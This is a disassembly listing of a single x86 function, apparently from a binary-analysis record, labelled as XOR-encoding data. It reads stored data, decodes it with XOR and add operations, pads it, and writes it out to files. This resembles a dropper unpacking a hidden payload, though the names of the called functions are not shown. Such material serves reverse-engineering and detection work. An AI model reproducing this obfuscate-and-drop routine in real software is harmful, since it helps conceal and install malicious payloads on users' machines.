Function at 0x1000341b
Capabilities:
Encode data using xor

Disassembly:
sbb al, byte [eax]
mov ecx, dword [ebp - 0x2258]
lea eax, [ebp - 0x2254]
push eax
push 0
push 0
push 0
push 0x1aab1c
push ecx
mov dword [ebp - 0x2254], 0
call ebx
test eax, eax
jne 0x100035dd
mov edx, dword [ebp - 0x2254]
push 4
push 0x1000
push edx
push eax
call dword [0x1a9058]
mov edi, eax
mov dword [ebp - 0x225c], edi
test edi, edi
je 0x100035dd
mov ecx, dword [ebp - 0x2258]
lea eax, [ebp - 0x2254]
push eax
push edi
push 0
push 0
push 0x1aab1c
push ecx
call ebx
movzx ecx, byte [edi]
xor eax, eax
xor ecx, 0xa6
cmp dword [ebp - 0x2254], eax
jbe 0x100034b4
lea esp, [esp]
mov dl, byte [eax + edi]
xor dl, cl
add dl, 0x42
mov byte [eax + edi], dl
inc eax
cmp eax, dword [ebp - 0x2254]
jb 0x100034a0
call fcn.10003e18
mov ecx, dword [ebp - 0x2254]
mov esi, 0x1000
sub esi, ecx
xor edx, edx
div esi
push 4
push 0x1000
lea ebx, [edx + 1]
lea edi, [ebx + ecx]
push edi
push 0
call dword [0x1a9058]
push ebx
mov esi, eax
push 0x90
push esi
call fcn.10007320
mov eax, dword [ebp - 0x2254]
mov ecx, dword [ebp - 0x225c]
add esp, 0xc
push eax
push ecx
lea edx, [esi + ebx]
push edx
call fcn.10007c30
add esp, 0xc
call fcn.10003e18
cdq
mov ecx, 0xff
idiv ecx
xor eax, eax
inc edx
test edi, edi
je 0x10003530
nop
mov cl, byte [eax + esi]
sub cl, 0x42
xor cl, dl
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10003520
mov edx, dword [ebp - 0x2260]
push edx
lea eax, [ebp - 0x418]
push 0x1aae1c
push eax
call dword [0x1a9184]
mov ebx, dword [0x1a9074]
add esp, 0xc
lea ecx, [ebp - 0x418]
push ecx
call ebx
test eax, eax
jne 0x1000357a
push 0x80
lea edx, [ebp - 0x418]
push edx
call dword [0x1a907c]
lea eax, [ebp - 0x418]
push eax
call ebx
push 0
push 7
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x418]
push ecx
call dword [0x1a9044]
push 0
lea edx, [ebp - 0x2264]
push edx
push edi
mov ebx, eax
push esi
push ebx
call dword [0x1a9038]
mov eax, dword [ebp - 0x225c]
mov edi, dword [0x1a9034]
push 0x8000
push 0
push eax
call edi
push 0x8000
push 0
push esi
call edi
push ebx
call dword [0x1a9070]
mov ebx, dword [0x1a9008]
mov esi, dword [0x1a9184]
mov edx, dword [ebp - 0x2258]
lea ecx, [ebp - 0x2254]
push ecx
push 0
push 0
push 0
push 0x1aab64
push edx
mov dword [ebp - 0x2254], 0
call ebx
test eax, eax
jne 0x100036d5
mov eax, dword [ebp - 0x2254]
push 4
push 0x1000
push eax
push 0
call dword [0x1a9058]
mov edi, eax
test edi, edi
je 0x100036d5
mov edx, dword [ebp - 0x2258]
lea ecx, [ebp - 0x2254]
push ecx
push edi
push 0
push 0
push 0x1aab64
push edx
call ebx
mov eax, dword [ebp - 0x2260]
push eax
lea ecx, [ebp - 0x620]
push 0x1aae54
push ecx
call esi
mov ebx, dword [0x1a9074]
add esp, 0xc
lea edx, [ebp - 0x620]
push edx
call ebx
test eax, eax
jne 0x1000368a
push 0x80
lea eax, [ebp - 0x620]
push eax
call dword [0x1a907c]
lea ecx, [ebp - 0x620]
push ecx
call ebx
push 0
push 7
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x620]
push edx
call dword [0x1a9044]
mov ecx, dword [ebp - 0x2254]
push 0
mov ebx, eax
lea eax, [ebp - 0x2264]
push eax
push ecx
push edi
push ebx
call dword [0x1a9038]
push 0x8000
push 0
push edi
call dword [0x1a9034]
push ebx
call dword [0x1a9070]
mov edx, dword [ebp - 0x2258]
push edx
call dword [0x1a9000]
lea eax, [ebp - 0x1250]
lea edx, [eax + 2]
jmp 0x100036f0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100036f0
sub eax, edx
sar eax, 1
jne 0x100037ed
lea eax, [ebp - 0xa30]
push eax
lea ecx, [ebp - 0xe40]
push 0x1aae70
push ecx
call esi
mov edx, dword [ebp - 0x2274]
mov eax, dword [ebp - 0x2260]
add esp, 0xc
push edx
push eax
lea ecx, [ebp - 0x2250]
push 0x1aae94
push ecx
call esi
lea edx, [ebp - 0xe40]
add esp, 0x10
push edx
call fcn.10003e18
and eax, 0x8000001f
jns 0x10003754
dec eax
or eax, 0xffffffe0
inc eax
inc eax
call fcn.100021a0
push eax
lea eax, [ebp - 0x2250]
push eax
jmp 0x10003851
lea ecx, [ebp - 0xa30]
push ecx
lea edx, [ebp - 0xe40]
push 0x1aae70
push edx
call esi
mov eax, dword [ebp - 0x2274]
mov edx, dword [ebp - 0x2260]
add esp, 0xc
push eax
lea ecx, [ebp - 0x1250]
push ecx
push edx
lea eax, [ebp - 0x2250]
push 0x1aaf3c
push eax
call esi
lea ecx, [ebp - 0xe40]
add esp, 0x14
push ecx
call fcn.10003e18
and eax, 0x8000001f
jns 0x10003843
dec eax
or eax, 0xffffffe0
inc eax
inc eax
call fcn.100021a0
push eax
lea edx, [ebp - 0x2250]
push edx
call fcn.10003ad0
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10003c07
mov esp, ebp
pop ebp
ret